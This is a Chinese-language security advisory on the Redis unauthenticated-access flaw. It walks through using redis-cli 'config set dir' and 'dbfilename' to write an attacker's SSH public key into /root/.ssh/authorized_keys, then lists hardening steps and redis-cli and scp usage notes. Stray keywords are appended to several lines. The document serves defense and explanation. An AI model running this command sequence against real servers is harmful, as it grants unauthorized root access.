漏洞原理及復現html
在復現前,先介紹兩個基本所要了解的基礎知識:nginx
1) SSH免密碼登陸,Linux下能夠設置SSH免密碼登陸,方法爲使用"公私鑰"認證,即首先在客戶端上建立一對公私鑰 (公鑰文件:~/.ssh/id_rsa.pub;私鑰文件:~/.ssh/id_rsa)。而後把公鑰放到服務器上(~/.ssh/authorized_keys), 本身保留好私鑰.在使用ssh登陸時,ssh程序會發送私鑰去和服務器上的公鑰作匹配.若是匹配成功就能夠登陸了。詳細可參考(http://jingyan.baidu.com/article/2fb0ba4043124a00f2ec5f0f.html)SSH免密碼登錄遠程服務器redis
2) Redis可經過Redis-CLI遠程管理,設置Redis的默認路徑以及數據庫緩存文件。mongodb
方法以下:數據庫
config set dir /xxx緩存
config set dbfilename xxxx安全
set xxxx "xxx"服務器
save網絡
上述兩種常見的運維方法結合,在如下條件下:運維
1.Redis服務使用ROOT帳號啓動
2.Redis服務無密碼認證或者使用的是弱口令進行認證
3.服務器開放了SSH服務,並且容許使用密鑰登陸,便可遠程寫入一個公鑰,直接登陸遠程服務器。
以下圖:
首先在本地生成一對密鑰:
而後經過redis-clis遠程鏈接到目標redis服務器,執行如下命令
config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxxx "\n\n\nssh-rsa key_pub\n\n\n",其中key_pub爲上圖生成的公鑰,便可將公鑰保存在遠端服務器,使得登陸時不須要輸入帳號與密碼。
目前魔方安全團隊已經檢測到部分客戶的Redis已經因該漏洞被***,並在其緩存數據庫中發現被寫入的公鑰,建議用戶立刻對內部網絡進行排查。
漏洞修復
該漏洞的修補方法以下:
1)禁止使用 root 權限啓動 redis 服務;
2)對 redis 訪問啓用密碼認證,而且添加 IP 訪問限制;
3)儘量不對公網直接開放 SSH 服務。
4) 指定redis服務使用的網卡
在 redis.conf 文件中找到 「# bind 127.0.0.1」 ,把前面的#號去掉, 而後保存。注:修改後只有本機才能訪問redis。
5) 設置訪問密碼
在 redis.conf 中找到「requirepass」字段,在後面填上你須要的密碼。
備註:
1. redis-cli -h 192.168.1.103 -p6379 -a "hi, coder"
2. 用法:redis-cli [OPTIONS] [cmd [arg [arg ...]]]
-h <主機ip>,默認是127.0.0.1
-p <端口>,默認是6379
-a <密碼>,若是redis加鎖,須要傳遞密碼
3. redis默認匿名用戶可登路,無需密碼
4. SCP
a.目標文件:目標文件。格式爲user@host:filename(文件名爲目標文件的名稱)
b. 從遠處複製文件到本地目錄
scproot@10.10.10.10:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/
scp -rroot@10.10.10.10:/opt/soft/mongodb /opt/soft/ (文件夾)
c. 上傳本地文件到遠程機器指定目錄
scp/opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
scp -r/opt/soft/mongodb root@10.10.10.10:/opt/soft/scptest